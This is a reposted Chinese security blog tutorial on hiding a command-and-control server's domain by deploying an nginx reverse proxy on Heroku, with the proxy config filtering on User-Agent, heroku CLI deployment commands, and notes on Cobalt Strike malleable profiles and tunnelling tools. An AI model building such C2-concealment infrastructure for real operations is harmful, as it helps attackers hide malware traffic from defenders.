Heroku反向代理隐藏C2域名 - 耳旁有首歌

admin 2021年12月31日15:56:41先知文章评论109 views1869字阅读6分13秒阅读模式

声明:本文仅做技术分享,图片结果均为网络分享图片,请各位看后遵守《网络安全法》,在授权前提下进行渗透测试,学习本文技巧所有产生后果与笔者无关。

话说现在隐藏C2域名的手段层出不穷,笔者参考了网上众多隐藏技巧,经过一定的钻研写下了这篇使用Heroku反向代理隐藏域名的分享文章,但和域前置、云函数技术不同,

本方法是建立一个堡垒机,同样用nginx反向代理:两个VPS,姑且称为a和b,a中搭建nginx,设置过滤规则,例如Host:www.b.com ,则将请求转发到b:

proxy_pass http://VPS b的ip:80,

当然也要使用X-Forwarded-For。
但这么做比较浪费,a变黑了就得换,不然还没渗透呢都被人给墙了。

这里介绍一个web代理服务:herokuheroku.com
可注册匿名账户,从github拉取代码建立网站,或者部署docker建立app,相当于多个随便用的代理VPS。

首先注册,确认邮件,然后登陆后确认是否成功:
Heroku反向代理隐藏C2域名 -  耳旁有首歌
然后使用linux安装docker、git和heroku cli:参考https://devcenter.heroku.com/articles/heroku-cli
在vps中可使用heroku login确认你的账号:
Heroku反向代理隐藏C2域名 -  耳旁有首歌
这里就有个坑,一般很少人安装linux的桌面环境,这个应用需要web浏览器跳转连接登陆,然后认证账密。
填坑思路1:各位可以安装桌面后远程+安装浏览器访问(我没用)。
填坑思路2:将vps流量代理出来,使用chisel、socat、或ssh隧道的代理方式。
再或者frp、nps的内网穿透,或者干脆写个py脚本代理一下。

将本地浏览器代理设置为你开的socks或http。,然后在上图这个等待界面,复制链接到浏览器打开:
Heroku反向代理隐藏C2域名 -  耳旁有首歌
最后使用账密登录:
Heroku反向代理隐藏C2域名 -  耳旁有首歌
然后linux本地拉取一个git:
git clone http://github.comheroku-docker-nginx-example.git
打开文件夹:

cd heroku-docker-nginx-example

修改其中default.conf.template:

server {
    listen $PORT;
    location / {
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        if ( $http_user_agent = "Mozilla/1.0 (Windows NT 5.0; …)")
        {
            proxy_pass http://你的域名地址:80;
        }
        root   /usr/share/nginx/html;
        index  index.html;
    }
}

其中你的域名地址可以为根域名、子域名、甚至ip加端口,都可以的啦~

结合mallble c2 文件中定义http_stager设置还可过滤http_user_agent,各种骚操作没有你做不到哦~

然后登录container:

heroku container:login

创建app:

heroku create

Heroku反向代理隐藏C2域名 -  耳旁有首歌
然后上传web:
heroku container:push web
Heroku反向代理隐藏C2域名 -  耳旁有首歌
最后发布web:

heroku container:release web

Heroku反向代理隐藏C2域名 -  耳旁有首歌
这里的作用是使用你拉取的镜像在云端建立一个开放80访问的docker,用来代理请求。具体访问路径是创建的app名(如examplename),拼接起来为:examplename.herokuapp.com

注意:这里创建后可去个人中心重命名该应用
Heroku反向代理隐藏C2域名 -  耳旁有首歌
也可创建时指定名称:

heroku create examplename

后续操作中指定app:

heroku container:push web -a examplename
heroku container:release web -a examplename

完成后个人中心或者拼接url可打开访问:
Heroku反向代理隐藏C2域名 -  耳旁有首歌
未满足我的过滤条件,访问默认nginx为正常页面,设置我的过滤规则后,例如UA、Host,在c2中可看到访问信息:
Heroku反向代理隐藏C2域名 -  耳旁有首歌
但问题是heroku目前只支持绑定80端口-http协议,需要https还需要在个人中心申请证书。
绑定为https可接受第一次访问,最后依然会转为http,图省事直接绑定为http类型。
Heroku反向代理隐藏C2域名 -  耳旁有首歌
实测可正常上线,ip地址为真实外网ip:
Heroku反向代理隐藏C2域名 -  耳旁有首歌
执行命令可正常回显:
Heroku反向代理隐藏C2域名 -  耳旁有首歌
抓包发现为herokuapp的地址:
Heroku反向代理隐藏C2域名 -  耳旁有首歌
缺点:1只可代理http协议。2heroku有用户协议,如果不慎会被封号。

优点:地址黑了可以直接删了app重建一个。

最后PS:heroku反向代理也可设置为CDN加速之后的域名,但理论上会延迟访问时间。

BY:先知论坛

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年12月31日15:56:41
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  Heroku反向代理隐藏C2域名 - 耳旁有首歌 https://cn-sec.com/archives/713157.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: